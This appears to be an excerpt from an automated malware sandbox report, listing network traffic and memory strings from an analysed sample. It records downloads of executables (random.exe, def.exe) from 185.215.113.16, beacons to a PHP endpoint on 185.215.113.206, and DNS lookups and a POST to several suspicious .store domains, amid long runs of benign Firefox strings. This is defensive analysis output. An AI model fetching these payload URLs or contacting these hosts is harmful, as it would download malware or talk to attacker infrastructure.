Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "requestHeaders"]]https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://connect.facebook.net/*/sdk.js*FileUtils_closeAtomicFileOutputStreamFileUtils_openSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1FileUtils_openAtomicFileOutputStream*://track.adform.net/serving/scripts/trackpoint/*://www.everestjs.net/static/st.v3.js**://static.chartbeat.com/js/chartbeat.js*://*.imgur.io/js/vendor.*.bundle.js*://web-assets.toggl.com/app/assets/scripts/*.js@mozilla.org/addons/addon-manager-startup;1*://c.amazon-adsystem.com/aax2/apstag.js*://static.chartbeat.com/js/chartbeat_video.js*://*.imgur.com/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://auth.9c9media.ca/auth/main.js@mozilla.org/network/file-output-stream;1pictureinpicture%40mozilla.org:1.0.0@mozilla.org/network/atomic-file-output-stream;1*://pub.doubleverify.com/signals/pub.js*FileUtils_closeSafeFileOutputStreamwebcompat-reporter@mozilla.org.xpiresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/network/safe-file-output-stream;1*://www.googletagmanager.com/gtm.js**://cdn.adsafeprotected.com/iasPET.1.js*://static.adsafeprotected.com/iasPET.1.js*://imasdk.googleapis.com/js/sdkloader/ima3.js*://pagead2.googlesyndication.com/tag/js/gpt.js**://*.moatads.com/*/moatheader.js**://ssl.google-analytics.com/ga.js*://*.vidible.tv/*/vidible-min.js**://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/advancedLinkTracking.js*://www.google-analytics.com/analytics.js**://www.google-analytics.com/plugins/ua/ec.js*://s0.2mdn.net/instream/html5/ima3.js*://www.googletagservices.com/tag/js/gpt.js**://www.google-analytics.com/gtm/js**://adservex.media.net/videoAds.js**://cdn.optimizely.com/public/*.js*://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://s.webtrends.com/js/webtrends.min.jsopenIDB/</request.onupgradeneeded equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: --panel-banner-item-update-supported-bgcolor*://pubads.g.doubleclick.net/gampad/*ad-blk**://www.facebook.com/platform/impression.php**://securepubads.g.doubleclick.net/gampad/*ad**://track.adform.net/Serving/TrackPoint/**://pixel.advertising.com/firefox-etp*://ads.stickyadstv.com/user-matching**://pubads.g.doubleclick.net/gampad/*xml_vmap1**://*.adsafeprotected.com/*/Serving/**://cdn.cmp.advertising.com/firefox-etphttps://ads.stickyadstv.com/firefox-etp*://pubads.g.doubleclick.net/gampad/*xml_vmap2**://pubads.g.doubleclick.net/gampad/*ad**://ads.stickyadstv.com/auto-user-sync**://*.adsafeprotected.com/*/unit/*754bb16d-80f9-4287-b52f-da0142068ca1 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPDevToolsStartup.jsm:handleDebuggerFlagbrowser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools/client/framework/devtoolsdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocketresource://devtools/server/devtools-server.jsGot invalid request to save JSON dataFailed to listen. Listener already attached.Failed to listen. Callback argument missing.Failed to execute WebChannel callback:^([a-z+.-]+:\/{0,3})*([^\/@]+@).+@mozilla.org/dom/slow-script-debug;1devtools.performance.popup.feature-flag^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools/client/framework/devtools-browserDevTools telemetry entry point failed: Unable to start devtools server on @mozilla.org/network/protocol;1?name=file^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)resource://devtools/shared/security/socket.jsreleaseDistinctSystemPrincipalLoaderNo callback set for this channel.@mozilla.org/network/protocol;1?name=defaultJSON Viewer's onSave failed in startPersistence@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsWebChannel/this._originCheckCallback^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/FileUtils.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/JSONFile.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}Scheme should be either http or httpsresource://gre/modules/JSONFile.sys.mjshttps://poczta.interia.pl/mh/?mailto=%sisDownloadsImprovementsAlreadyMigratedresource://gre/modules/DeferredTask.sys.mjsgecko.handlerService.defaultHandlersVersion{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1resource://gre/modules/DeferredTask.sys.mjsCan't invoke URIFixup in the content processhttps://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this typehttps://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol<http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/uriloader/web-handler-app;1_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/dbus-handler-app;1get FIXUP_FLAG_FORCE_ALTERNATE_URI@mozilla.org/network/async-stream-copier;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%spdfjs.previousHandler.preferredActionNon-zero amount of bytes must be specifiedhttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandlinghttps:
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.2488316289.0000024966B7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.2488316289.0000024966B7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.2488316289.0000024966B7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/7
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exedow
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeeg
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exees
Source: 51c532c207.exe, 0000000F.00000003.2382253996.00000000007DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.000000000154E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.0000000001592000.00000004.00000020.00020000.00000000.sdmp, cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/(
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php4
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php8
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpD
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: cc6c7213b6.exe, 00000025.00000002.2413359793.00000000015DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/cal
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.00000000015B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/m
Source: cc6c7213b6.exe, 00000010.00000002.2218307084.000000000154E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.2063=
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
